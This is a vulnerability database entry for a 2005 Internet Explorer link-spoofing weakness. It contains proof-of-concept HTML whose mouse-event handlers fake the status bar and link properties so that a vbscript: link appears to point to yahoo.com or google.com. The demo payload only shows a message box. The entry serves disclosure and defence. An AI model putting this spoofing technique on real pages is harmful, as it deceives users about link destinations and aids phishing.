Microsoft Internet Explorer URI Obfuscation Weakness

vendor:

Internet Explorer

by:

SecurityFocus

7.5

CVSS

HIGH

URI Obfuscation Weakness

CWE

Product Name: Internet Explorer

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2005

Microsoft Internet Explorer URI Obfuscation Weakness

Microsoft Internet Explorer is reported prone to a URI obfuscation weakness. The issue presents itself when a HREF tag contains certain mouse events. This issue may be leveraged by an attacker to display false information in the status bar or URI property dialog of an affected browser, allowing an attacker to present web pages to unsuspecting users that seem to originate from a trusted location. This may facilitate phishing style attacks; other attacks may also be possible.

Mitigation:

Ensure that the browser is updated to the latest version.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/12541/info

Microsoft Internet Explorer is reported prone to a URI obfuscation weakness.

The issue presents itself when a HREF tag contains certain mouse events.

This issue may be leveraged by an attacker to display false information in the status bar or URI property dialog of an affected browser, allowing an attacker to present web pages to unsuspecting users that seem to originate from a trusted location. This may facilitate phishing style attacks; other attacks may also be possible. 

<script>
var aa=0;var intid;
</script>
Try right-clicking on the link and clicking on properties. Notice the address is spoofed even on the properties window, yet the link takes you to an address with the vbscript protocol.
Note: Does not work when the "open" command is selected from the right-click menu.
<a href='vbscript:msgbox("Psych!")' id="chglink" onmouseover="aa=1;var intid=setInterval('if(aa==1){window.status=\'http://yahoo.com\'}',10)"
onmouseout='aa=0;chglink.href="vbscript:msgbox(\"Psych!\")";clearInterval(intid);window.status=""' onmousedown="if
(event.button==2){chglink.href='http://yahoo.com'}">click</a>


Just a simple one:
<a href="http://google.com"><button style="border:0;background-color:white;cursor:hand" onclick='location.assign("vbscript:msgbox(\"Psych!\")")'><font
color="blue">click</font></button></a>